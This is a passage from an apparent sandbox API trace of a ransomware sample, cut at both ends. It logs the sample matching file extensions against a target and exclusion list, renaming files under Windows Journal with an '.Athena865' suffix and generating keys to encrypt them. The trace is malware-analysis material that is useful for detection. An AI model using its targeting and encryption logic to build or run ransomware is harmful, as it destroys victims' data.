lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.548] lstrlenW (lpString="fp7") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.548] lstrlenW (lpString="fpt") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.548] lstrlenW (lpString="frm") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.548] lstrlenW (lpString="gdb") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.548] lstrlenW (lpString="gdb") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.548] lstrlenW (lpString="grdb") returned 4 [0090.548] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.548] lstrlenW (lpString="gwi") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.548] lstrlenW (lpString="hdb") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.548] lstrlenW (lpString="his") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.548] lstrlenW (lpString="ib") returned 2 [0090.548] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.548] lstrlenW (lpString="idb") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.548] lstrlenW (lpString="ihx") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.548] lstrlenW (lpString="itdb") returned 4 [0090.548] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.549] lstrlenW (lpString="itw") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.549] lstrlenW (lpString="jet") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.549] lstrlenW (lpString="jtx") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.549] lstrlenW (lpString="kdb") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.549] lstrlenW (lpString="kexi") returned 4 [0090.549] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.549] lstrlenW (lpString="kexic") returned 5 [0090.549] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0090.549] lstrlenW (lpString="kexis") returned 5 [0090.549] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0090.549] lstrlenW (lpString="lgc") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.549] lstrlenW (lpString="lwx") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.549] lstrlenW (lpString="maf") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.549] lstrlenW (lpString="maq") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.549] lstrlenW (lpString="mar") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.549] lstrlenW (lpString="marshal") returned 7 [0090.549] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0090.549] lstrlenW (lpString="mas") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.549] lstrlenW (lpString="mav") returned 3 [0090.549] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.550] lstrlenW (lpString="maw") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.550] lstrlenW (lpString="mdbhtml") returned 7 [0090.550] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0090.550] lstrlenW (lpString="mdn") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.550] lstrlenW (lpString="mdt") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.550] lstrlenW (lpString="mfd") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.550] lstrlenW (lpString="mpd") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.550] lstrlenW (lpString="mrg") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.550] lstrlenW (lpString="mud") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.550] lstrlenW (lpString="mwb") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.550] lstrlenW (lpString="myd") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.550] lstrlenW (lpString="ndf") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.550] lstrlenW (lpString="nnt") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.550] lstrlenW (lpString="nrmlib") returned 6 [0090.550] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0090.550] lstrlenW (lpString="ns2") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.550] lstrlenW (lpString="ns3") returned 3 [0090.550] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.551] lstrlenW (lpString="ns4") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.551] lstrlenW (lpString="nsf") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.551] lstrlenW (lpString="nv") returned 2 [0090.551] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.551] lstrlenW (lpString="nv2") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.551] lstrlenW (lpString="nwdb") returned 4 [0090.551] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.551] lstrlenW (lpString="nyf") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.551] lstrlenW (lpString="odb") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.551] lstrlenW (lpString="odb") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.551] lstrlenW (lpString="oqy") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.551] lstrlenW (lpString="ora") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.551] lstrlenW (lpString="orx") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.551] lstrlenW (lpString="owc") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.551] lstrlenW (lpString="p96") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.551] lstrlenW (lpString="p97") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.551] lstrlenW (lpString="pan") returned 3 [0090.551] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.552] lstrlenW (lpString="pdb") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.552] lstrlenW (lpString="pdm") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.552] lstrlenW (lpString="pnz") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.552] lstrlenW (lpString="qry") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.552] lstrlenW (lpString="qvd") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.552] lstrlenW (lpString="rbf") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.552] lstrlenW (lpString="rctd") returned 4 [0090.552] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.552] lstrlenW (lpString="rod") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.552] lstrlenW (lpString="rodx") returned 4 [0090.552] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.552] lstrlenW (lpString="rpd") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.552] lstrlenW (lpString="rsd") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.552] lstrlenW (lpString="sas7bdat") returned 8 [0090.552] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0090.552] lstrlenW (lpString="sbf") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.552] lstrlenW (lpString="scx") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.552] lstrlenW (lpString="sdb") returned 3 [0090.552] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.553] lstrlenW (lpString="sdc") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.553] lstrlenW (lpString="sdf") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.553] lstrlenW (lpString="sis") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.553] lstrlenW (lpString="spq") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.553] lstrlenW (lpString="te") returned 2 [0090.553] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.553] lstrlenW (lpString="teacher") returned 7 [0090.553] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0090.553] lstrlenW (lpString="tmd") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.553] lstrlenW (lpString="tps") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.553] lstrlenW (lpString="trc") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.553] lstrlenW (lpString="trc") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.553] lstrlenW (lpString="trm") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.553] lstrlenW (lpString="udb") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.553] lstrlenW (lpString="udl") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.553] lstrlenW (lpString="usr") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.553] lstrlenW (lpString="v12") returned 3 [0090.553] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.554] lstrlenW (lpString="vis") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.554] lstrlenW (lpString="vpd") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.554] lstrlenW (lpString="vvv") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.554] lstrlenW (lpString="wdb") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.554] lstrlenW (lpString="wmdb") returned 4 [0090.554] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.554] lstrlenW (lpString="wrk") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.554] lstrlenW (lpString="xdb") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.554] lstrlenW (lpString="xld") returned 3 [0090.554] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.554] lstrlenW (lpString="xmlff") returned 5 [0090.554] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0090.554] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui.Athena865") returned 63 [0090.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.555] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.555] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.555] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.556] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.556] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.556] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.560] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.562] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.562] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.562] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.563] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.563] CloseHandle (hObject=0x154) returned 1 [0090.563] CloseHandle (hObject=0x17c) returned 1 [0090.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.564] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="..") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="windows") returned -1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="bootmgr") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="temp") returned -1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="pagefile.sys") returned -1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="boot") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="ids.txt") returned 1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="ntuser.dat") returned -1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="perflogs") returned -1 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2="MSBuild") returned -1 [0090.564] lstrlenW (lpString="Journal.exe.mui") returned 15 [0090.564] lstrcpyW (in: lpString1=0x241e896, lpString2="Journal.exe.mui" | out: lpString1="Journal.exe.mui") returned="Journal.exe.mui" [0090.564] lstrlenW (lpString="Journal.exe.mui") returned 15 [0090.564] lstrlenW (lpString="Athena865") returned 9 [0090.564] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0090.564] lstrlenW (lpString=".dll") returned 4 [0090.564] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".dll") returned 1 [0090.564] lstrlenW (lpString=".lnk") returned 4 [0090.565] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".lnk") returned 1 [0090.565] lstrlenW (lpString=".ini") returned 4 [0090.565] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".ini") returned 1 [0090.565] lstrlenW (lpString=".sys") returned 4 [0090.565] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".sys") returned 1 [0090.565] lstrlenW (lpString="Journal.exe.mui") returned 15 [0090.565] lstrlenW (lpString="bak") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.565] lstrlenW (lpString="ba_") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.565] lstrlenW (lpString="dbb") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.565] lstrlenW (lpString="vmdk") returned 4 [0090.565] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.565] lstrlenW (lpString="rar") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.565] lstrlenW (lpString="zip") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.565] lstrlenW (lpString="tgz") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.565] lstrlenW (lpString="vbox") returned 4 [0090.565] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.565] lstrlenW (lpString="vdi") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.565] lstrlenW (lpString="vhd") returned 3 [0090.565] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.565] lstrlenW (lpString="vhdx") returned 4 [0090.565] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.565] lstrlenW (lpString="avhd") returned 4 [0090.565] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.565] lstrlenW (lpString="db") returned 2 [0090.565] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.566] lstrlenW (lpString="db2") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.566] lstrlenW (lpString="db3") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.566] lstrlenW (lpString="dbf") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.566] lstrlenW (lpString="mdf") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.566] lstrlenW (lpString="mdb") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.566] lstrlenW (lpString="sql") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.566] lstrlenW (lpString="sqlite") returned 6 [0090.566] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0090.566] lstrlenW (lpString="sqlite3") returned 7 [0090.566] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0090.566] lstrlenW (lpString="sqlitedb") returned 8 [0090.566] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0090.566] lstrlenW (lpString="xml") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.566] lstrlenW (lpString="$er") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.566] lstrlenW (lpString="4dd") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.566] lstrlenW (lpString="4dl") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.566] lstrlenW (lpString="^^^") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.566] lstrlenW (lpString="abs") returned 3 [0090.566] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.566] lstrlenW (lpString="abx") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.567] lstrlenW (lpString="accdb") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0090.567] lstrlenW (lpString="accdc") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0090.567] lstrlenW (lpString="accde") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0090.567] lstrlenW (lpString="accdr") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0090.567] lstrlenW (lpString="accdt") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0090.567] lstrlenW (lpString="accdw") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0090.567] lstrlenW (lpString="accft") returned 5 [0090.567] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0090.567] lstrlenW (lpString="adb") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.567] lstrlenW (lpString="adb") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.567] lstrlenW (lpString="ade") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.567] lstrlenW (lpString="adf") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.567] lstrlenW (lpString="adn") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.567] lstrlenW (lpString="adp") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.567] lstrlenW (lpString="alf") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.567] lstrlenW (lpString="ask") returned 3 [0090.567] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.567] lstrlenW (lpString="btr") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.568] lstrlenW (lpString="cat") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.568] lstrlenW (lpString="cdb") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.568] lstrlenW (lpString="ckp") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.568] lstrlenW (lpString="cma") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.568] lstrlenW (lpString="cpd") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.568] lstrlenW (lpString="dacpac") returned 6 [0090.568] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0090.568] lstrlenW (lpString="dad") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.568] lstrlenW (lpString="dadiagrams") returned 10 [0090.568] lstrcmpiW (lpString1="al.exe.mui", lpString2="dadiagrams") returned -1 [0090.568] lstrlenW (lpString="daschema") returned 8 [0090.568] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0090.568] lstrlenW (lpString="db-journal") returned 10 [0090.568] lstrcmpiW (lpString1="al.exe.mui", lpString2="db-journal") returned -1 [0090.568] lstrlenW (lpString="db-shm") returned 6 [0090.568] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0090.568] lstrlenW (lpString="db-wal") returned 6 [0090.568] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0090.568] lstrlenW (lpString="dbc") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.568] lstrlenW (lpString="dbs") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.568] lstrlenW (lpString="dbt") returned 3 [0090.568] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.569] lstrlenW (lpString="dbv") returned 3 [0090.569] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.569] lstrlenW (lpString="dbx") returned 3 [0090.569] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.569] lstrlenW (lpString="dcb") returned 3 [0090.569] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.569] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui.Athena865") returned 64 [0090.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.570] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.570] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=86016) returned 1 [0090.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.570] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.571] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.571] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.571] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15300, lpName=0x0) returned 0x154 [0090.573] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15300) returned 0x100000 [0090.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 